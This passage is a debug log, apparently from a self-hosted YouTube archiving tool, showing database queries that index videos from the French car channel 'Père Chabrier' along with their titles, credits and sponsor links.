06:34:06.370 [debug] QUERY OK source="sources" db=1.6ms idle=357.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 06:34:06.373 [debug] QUERY OK source="sources" db=2.3ms idle=359.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:34:06.375 [debug] QUERY OK source="media_items" db=2.0ms queue=0.1ms idle=362.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-21 17:15:07Z], 3] 06:34:06.948 [debug] QUERY OK source="media_items" db=570.2ms queue=0.5ms idle=365.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Un immense merci à toutes les personnes qui ont contribué à ce projet, que ce soit de près ou de loin. \n\nCi-joint, la liste de toutes les personnes talentueuses qui ont travaillé sur ce court-métrage : \n\n- Écrit et réalisé par Raphaël Chiche https://www.instagram.com/raphchiche.mov/ \n\n- Production exécutive ENKOR Films https://www.instagram.com/enkorfilms/\n\n- Producteur exécutif : Raphaël Chiche https://www.instagram.com/raphchiche.mov/ \n- Directrice de production : Fanny Alberny https://www.instagram.com/fannyalberny/\n- Chargée de production : Laurane Da Silva \n- Assistante de production : Fanny Gerard \n\n- Chef opérateur : Baptiste Jung https://www.instagram.com/baptistejung_dop/\n- 1er assistant opérateur : Nolan Joigne https://www.instagram.com/nolan_jgn/\n- Chef électricien : Clément Girollet https://www.instagram.com/clmtyy/\n- Électricien : Raphaël Vignes https://www.instagram.com/raph_s.w/\n\n- Ingénieur du son : Valentin Blavette https://www.instagram.com/valentin_blvt/\n\n- Cheffe décoratrice : Margo Durance\n- Assistante décoratrice : Solène Pauvert \n\n- Régisseuse générale : Cassandra Borie\n- Renfort régie : Maxime Le Moal https://www.instagram.com/maxlm29/\n\n- Cheffe maquilleuse : Mathilde Leroy \n\n- Chef monteur : Louis Descombes https://www.instagram.com/descombes_louis/\n- Monteur additionnel : Axel Canut https://www.instagram.com/axl.edit/\n- Etalonnage : https://www.instagram.com/baptistejung_dop/\n- Graphiste : Pi3rrebsi https://www.instagram.com/pi3rrebsi/\n\n- Photographe de plateau : Laurane Meimoun https://www.instagram.com/pointzipraw/\n- Making-of : Clara Clément\u00A0https://www.instagram.com/cltclara/\n\n- Dresseuse : Cécile Parquet https://www.instagram.com/cecileparquetstunt/\n\nAvec dans le rôle de : \n\n- Jean-Gab : Raphaël Distier \n- Le mécano : Thiebault Carlier\n- La coiffeuse : Cassandra Borie\n- L'ivrogne : Bruno Galvan Y Garcia\n_____________________________________\n\nMerci à Aymeric et Stéphane de Fly and Fun pour le prêt de leur avion👉 https://www.flyandfun.fr/ \nMerci à Fabienne du Thiverny Club pour le prêt de son bar et sa gentillesse. \nMerci à Nicolas et à son équipe d'Autopremimum Chantilly. \nMerci au Château de Troissereux et à Delphine. \nMerci au propriétaire de la De Tomaso Pantera. \nMerci à Cécile et à son fidèle destrier Cali. \nMerci à mes parents, à ma grand-mère, à Cassandra, Justin, Léa, Maxime, Justine, Angèle, Emma, Attiana et Gaëlle. \nMerci aux comédiens, Raphaël, Thiebault et Bruno. \nMerci à Enzo et Antony, les figurants de la Racebox. \nMerci à mon équipe, Julien, Axel, Laurane et Pierre. \nMerci à Julie et Xavier de Balboa et merci à Félix de SOS Ciné. \n\nUn énorme merci à toute l'équipe de tournage. \n\n‼️ Aucunes des personnes nommées ou reconnues dans le film n’ont à subir d’harcèlement lié à cette histoire. Merci pour votre compréhension. 🫶🏼\n\n#menthe #comte #car", "La véritable histoire du Comte de Menthe et Cristaux", "97508042-b773-4a2d-8779-498dfd74f529", "wJyc7DId9kU", 926, false, "https://www.youtube.com/watch?v=wJyc7DId9kU", 12, "/downloads/Père Chabrier/2025-02-21 La véritable histoire du Comte de Menthe et Cristaux/La véritable histoire du Comte de Menthe et Cristaux [wJyc7DId9kU].mkv", false, false, false, 3, [], 98, ~U[2025-02-21 17:15:07Z], ~U[2026-04-20 04:34:06Z], ~U[2026-04-20 04:34:06Z], "Un immense merci à toutes les personnes qui ont contribué à ce projet, que ce soit de près ou de loin. \n\nCi-joint, la liste de toutes les personnes talentueuses qui ont travaillé sur ce court-métrage : \n\n- Écrit et réalisé par Raphaël Chiche https://www.instagram.com/raphchiche.mov/ \n\n- Production exécutive ENKOR Films https://www.instagram.com/enkorfilms/\n\n- Producteur exécutif : Raphaël Chiche https://www.instagram.com/raphchiche.mov/ \n- Directrice de production : Fanny Alberny https://www.instagram.com/fannyalberny/\n- Chargée de production : Laurane Da Silva \n- Assistante de production : Fanny Gerard \n\n- Chef opérateur : Baptiste Jung https://www.instagram.com/baptistejung_dop/\n- 1er assistant opérateur : Nolan Joigne https://www.instagram.com/nolan_jgn/\n- Chef électricien : Clément Girollet https://www.instagram.com/clmtyy/\n- Électricien : Raphaël Vignes https://www.instagram.com/raph_s.w/\n\n- Ingénieur du son : Valentin Blavette https://www.instagram.com/valentin_blvt/\n\n- Cheffe décoratrice : Margo Durance\n- Assistante décoratrice : Solène Pauvert \n\n- Régisseuse générale : Cassandra Borie\n- Renfort régie : Maxime Le Moal https://www.instagram.com/maxlm29/\n\n- Cheffe maquilleuse : Mathilde Leroy \n\n- Chef monteur : Louis Descombes https://www.instagram.com/descombes_louis/\n- Monteur additionnel : Axel Canut https://www.instagram.com/axl.edit/\n- Etalonnage : https://www.instagram.com/baptistejung_dop/\n- Graphiste : Pi3rrebsi https://www.instagram.com/pi3rrebsi/\n\n- Photographe de plateau : Laurane Meimoun https://www.instagram.com/pointzipraw/\n- Making-of : Clara Clément\u00A0https://www.instagram.com/cltclara/\n\n- Dresseuse : Cécile Parquet https://www.instagram.com/cecileparquetstunt/\n\nAvec dans le rôle de : \n\n- Jean-Gab : Raphaël Distier \n- Le mécano : Thiebault Carlier\n- La coiffeuse : Cassandra Borie\n- L'ivrogne : Bruno Galvan Y Garcia\n_____________________________________\n\nMerci à Aymeric et Stéphane de Fly and Fun pour le prêt de leur avion👉 https://www.flyandfun.fr/ \nMerci à Fabienne du Thiverny Club pour le prêt de son bar et sa gentillesse. \nMerci à Nicolas et à son équipe d'Autopremimum Chantilly. \nMerci au Château de Troissereux et à Delphine. \nMerci au propriétaire de la De Tomaso Pantera. \nMerci à Cécile et à son fidèle destrier Cali. \nMerci à mes parents, à ma grand-mère, à Cassandra, Justin, Léa, Maxime, Justine, Angèle, Emma, Attiana et Gaëlle. \nMerci aux comédiens, Raphaël, Thiebault et Bruno. \nMerci à Enzo et Antony, les figurants de la Racebox. \nMerci à mon équipe, Julien, Axel, Laurane et Pierre. \nMerci à Julie et Xavier de Balboa et merci à Félix de SOS Ciné. \n\nUn énorme merci à toute l'équipe de tournage. \n\n‼️ Aucunes des personnes nommées ou reconnues dans le film n’ont à subir d’harcèlement lié à cette histoire. Merci pour votre compréhension. 🫶🏼\n\n#menthe #comte #car", "La véritable histoire du Comte de Menthe et Cristaux", "wJyc7DId9kU", 926, false, "https://www.youtube.com/watch?v=wJyc7DId9kU", "/downloads/Père Chabrier/2025-02-21 La véritable histoire du Comte de Menthe et Cristaux/La véritable histoire du Comte de Menthe et Cristaux [wJyc7DId9kU].mkv", false, 3, ~U[2025-02-21 17:15:07Z]] 06:34:06.950 [debug] QUERY OK source="sources" db=0.7ms queue=0.2ms idle=758.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:34:06.955 [debug] QUERY OK source="media_profiles" db=5.2ms idle=580.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:34:06.957 [debug] QUERY OK source="media_items" db=0.7ms idle=583.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [734] 06:34:06.957 [debug] Current batch of media processed. Will check again in 1000ms 06:34:07.958 [debug] Current batch of media processed. Will check again in 1000ms 06:34:08.959 [debug] Current batch of media processed. Will check again in 1000ms 06:34:09.960 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Un grand merci aux copains Thibault et Jo de Cascades Expériences \n👉 https://www.instagram.com/cascades_experiences/\n👉 https://www.cascadesexperiences.fr/\n\nMerci à RS Performance d'avoir sauvé l'honneur de mon Range, n'hésitez pas à les suivre pour leur donner de la force 🙏\n👉 https://www.instagram.com/rsperformance95\n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les lives c'est TOUS les Mercredi à 20h15 et Dimanche à 19h00 sur Twitch\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Julien Adao : Cadragisme à temps partiel - https://www.instagram.com/jjjjjjulien/\n- Laurane Da Silva : Chargée de Production, Cadreur, Ingé Son, Nounou et tout ce qui s'en suit\n- Montage : Axel - https://www.instagram.com/axl.edit/?hl=fr\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nEt d’ailleurs merci au sang de la veine du soutien indéfectible : https://nordvpn.com/fr/chantal\n\nDes bisous.\n\n#tuning #nitro #fastandfurious", "duration" => 1715, "filename" => "/downloads/Père Chabrier/2024-12-20 Un KIT NITRO sur le C1 ça marche ?/Un KIT NITRO sur le C1 ça marche ? [acJE33ruh-I].mkv", "id" => "acJE33ruh-I", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=acJE33ruh-I", "playlist_index" => 13, "timestamp" => 1734714900, "title" => "Un KIT NITRO sur le C1 ça marche ?", "upload_date" => "20241220"} 06:34:09.962 [debug] QUERY OK source="sources" db=1.0ms queue=0.5ms idle=1949.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 06:34:09.964 [debug] QUERY OK source="sources" db=1.3ms idle=1951.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:34:09.967 [debug] QUERY OK source="media_items" db=1.7ms queue=0.1ms idle=1954.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-12-20 17:15:00Z], 3] 06:34:10.058 [debug] QUERY OK source="media_items" db=89.9ms idle=1953.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Un grand merci aux copains Thibault et Jo de Cascades Expériences \n👉 https://www.instagram.com/cascades_experiences/\n👉 https://www.cascadesexperiences.fr/\n\nMerci à RS Performance d'avoir sauvé l'honneur de mon Range, n'hésitez pas à les suivre pour leur donner de la force 🙏\n👉 https://www.instagram.com/rsperformance95\n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les lives c'est TOUS les Mercredi à 20h15 et Dimanche à 19h00 sur Twitch\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Julien Adao : Cadragisme à temps partiel - https://www.instagram.com/jjjjjjulien/\n- Laurane Da Silva : Chargée de Production, Cadreur, Ingé Son, Nounou et tout ce qui s'en suit\n- Montage : Axel - https://www.instagram.com/axl.edit/?hl=fr\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nEt d’ailleurs merci au sang de la veine du soutien indéfectible : https://nordvpn.com/fr/chantal\n\nDes bisous.\n\n#tuning #nitro #fastandfurious", "Un KIT NITRO sur le C1 ça marche ?", "38d4fce4-d41b-43d3-bb0a-1461f3e61393", "acJE33ruh-I", 1715, false, "https://www.youtube.com/watch?v=acJE33ruh-I", 13, "/downloads/Père Chabrier/2024-12-20 Un KIT NITRO sur le C1 ça marche ?/Un KIT NITRO sur le C1 ça marche ? [acJE33ruh-I].mkv", false, false, false, 3, [], 98, ~U[2024-12-20 17:15:00Z], ~U[2026-04-20 04:34:09Z], ~U[2026-04-20 04:34:09Z], "Un grand merci aux copains Thibault et Jo de Cascades Expériences \n👉 https://www.instagram.com/cascades_experiences/\n👉 https://www.cascadesexperiences.fr/\n\nMerci à RS Performance d'avoir sauvé l'honneur de mon Range, n'hésitez pas à les suivre pour leur donner de la force 🙏\n👉 https://www.instagram.com/rsperformance95\n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les lives c'est TOUS les Mercredi à 20h15 et Dimanche à 19h00 sur Twitch\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Julien Adao : Cadragisme à temps partiel - https://www.instagram.com/jjjjjjulien/\n- Laurane Da Silva : Chargée de Production, Cadreur, Ingé Son, Nounou et tout ce qui s'en suit\n- Montage : Axel - https://www.instagram.com/axl.edit/?hl=fr\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nEt d’ailleurs merci au sang de la veine du soutien indéfectible : https://nordvpn.com/fr/chantal\n\nDes bisous.\n\n#tuning #nitro #fastandfurious", "Un KIT NITRO sur le C1 ça marche ?", "acJE33ruh-I", 1715, false, "https://www.youtube.com/watch?v=acJE33ruh-I", "/downloads/Père Chabrier/2024-12-20 Un KIT NITRO sur le C1 ça marche ?/Un KIT NITRO sur le C1 ça marche ? [acJE33ruh-I].mkv", false, 3, ~U[2024-12-20 17:15:00Z]] 06:34:10.061 [debug] QUERY OK source="sources" db=1.2ms queue=0.1ms idle=97.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:34:10.063 [debug] QUERY OK source="media_profiles" db=1.1ms queue=0.1ms idle=97.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:34:10.066 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=97.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [735] 06:34:10.066 [debug] Current batch of media processed. Will check again in 1000ms 06:34:11.067 [debug] Current batch of media processed. Will check again in 1000ms 06:34:12.068 [debug] Current batch of media processed. Will check again in 1000ms 06:34:12.395 [info] {"source":"oban","duration":2083,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:34:13.069 [debug] Current batch of media processed. Will check again in 1000ms 06:34:14.070 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "🚗💨 Si toi aussi il te manque une pièce sur ta 206 pour la démarrer, tu peux obtenir des pièces détachées chez Ovoko → https://ovoko.fr/creators/pierrechabrier\nAchetez sans risque avec une garantie de remboursement de 14 jours ! 🔧\nCollaboration commerciale\n___________________________________\n\nMerci à Moteur & Sens pour le prêt de ces deux très beaux bolides. N'hésitez pas à les suivre sur leurs réseaux 🙏❤️ : \n👉https://www.instagram.com/moteuretsens/\n👉https://www.youtube.com/@moteuretsens\n\nUn grand merci également à l'autodrome UTAC Linas-Montlhéry : \n👉 https://www.instagram.com/utaccompany/\n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les lives c'est TOUS les Mercredi à 20h15 et Dimanche à 19h00 sur Twitch\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Julien Adao : Ecriture - https://www.instagram.com/jjjjjjulien/\n- Laurane Da Silva : Chargée de Production, CM\n- Cadreur : Raphaël Chiche - ENKOR FILMS https://www.enkorfilms.com\n- Montage : Axel - https://www.instagram.com/axl.edit/?hl=fr\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nEt d’ailleurs merci au sang de la veine du soutien indéfectible : https://nordvpn.com/fr/chantal\n\nDes bisous.\n\n#astonmartin #circuit #pourtoi", "duration" => 2362, "filename" => "/downloads/Père Chabrier/2024-12-13 Vous ne connaissez PAS ces Aston Martin/Vous ne connaissez PAS ces Aston Martin [ZKeg2SbRHPo].mkv", "id" => "ZKeg2SbRHPo", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=ZKeg2SbRHPo", "playlist_index" => 14, "timestamp" => 1734110102, "title" => "Vous ne connaissez PAS ces Aston Martin", "upload_date" => "20241213"} 06:34:14.072 [debug] QUERY OK source="sources" db=0.8ms queue=0.2ms idle=59.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 06:34:14.073 [debug] QUERY OK source="sources" db=0.5ms queue=0.2ms idle=61.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 06:34:14.076 [debug] QUERY OK source="media_items" db=1.3ms queue=0.1ms idle=63.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-12-13 17:15:02Z], 3] 06:34:14.121 [debug] QUERY OK source="media_items" db=43.8ms idle=65.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["🚗💨 Si toi aussi il te manque une pièce sur ta 206 pour la démarrer, tu peux obtenir des pièces détachées chez Ovoko → https://ovoko.fr/creators/pierrechabrier\nAchetez sans risque avec une garantie de remboursement de 14 jours ! 🔧\nCollaboration commerciale\n___________________________________\n\nMerci à Moteur & Sens pour le prêt de ces deux très beaux bolides. N'hésitez pas à les suivre sur leurs réseaux 🙏❤️ : \n👉https://www.instagram.com/moteuretsens/\n👉https://www.youtube.com/@moteuretsens\n\nUn grand merci également à l'autodrome UTAC Linas-Montlhéry : \n👉 https://www.instagram.com/utaccompany/\n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les lives c'est TOUS les Mercredi à 20h15 et Dimanche à 19h00 sur Twitch\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Julien Adao : Ecriture - https://www.instagram.com/jjjjjjulien/\n- Laurane Da Silva : Chargée de Production, CM\n- Cadreur : Raphaël Chiche - ENKOR FILMS https://www.enkorfilms.com\n- Montage : Axel - https://www.instagram.com/axl.edit/?hl=fr\n- Miniature : Pi3rrebsi - https://x.com/pi3rrebsi\n\n_____________________________________\n\n✉️ Contact commercial : pere.pierrechabrier@gmail.com\n\nEt d’ailleurs merci au sang de la veine du soutien indéfectible : https://nordvpn.com/fr/chantal\n\nDes bisous.\n\n#astonmartin #circuit #pourtoi", "Vous ne connaissez PAS ces Aston Martin", "b02ae6f9-239e-4725-921d-a9b21f28a55e", "ZKeg2SbRHPo", 2362, false, "https://www.youtube.com/watch?v=ZKeg2SbRHPo", 14, "/downloads/Père Chabrier/2024-12-13 Vous ne connaissez PAS ces Aston Martin/Vous ne connaissez PAS ces Aston Martin [ZKeg2SbRHPo].mkv", false, false, false, 3, [], 98, ~U[2024-12-13 17:15:02Z], ~U[2026-04-20 04:34:14Z], ~U[2026-04-20 04:34:14Z], "🚗💨 Si toi aussi il te manque une pièce sur ta 206 pour la démarrer, tu peux obtenir des pièces détachées chez Ovoko → https://ovoko.fr/creators/pierrechabrier\nAchetez sans risque avec une garantie de remboursement de 14 jours ! 🔧\nCollaboration commerciale\n___________________________________\n\nMerci à Moteur & Sens pour le prêt de ces deux très beaux bolides. N'hésitez pas à les suivre sur leurs réseaux 🙏❤️ : \n👉https://www.instagram.com/moteuretsens/\n👉https://www.youtube.com/@moteuretsens\n\nUn grand merci également à l'autodrome UTAC Linas-Montlhéry : \n👉 https://www.instagram.com/utaccompany/\n___________________________________\n\nLes réseaux du Père Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier/\n📲 TIKTOK 👉 https://www.tiktok.com/@pere.chabrier\n\nPour les lives c'est TOUS les Mercredi à 20h15 et Dimanche à 19h00 sur Twitch\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n\n___________________________________\n\nPlein de love à mon équipe de cœur : \n- Julien Adao : Ecriture - https://www.instagram.com/jjjjjjulien/\n- Laurane Da Silva : Chargée de Production, CM\n- Cadreur : Raphaël Chiche - ENKOR FILMS https://www.enkorfilms.com\n- Montage : Axel - 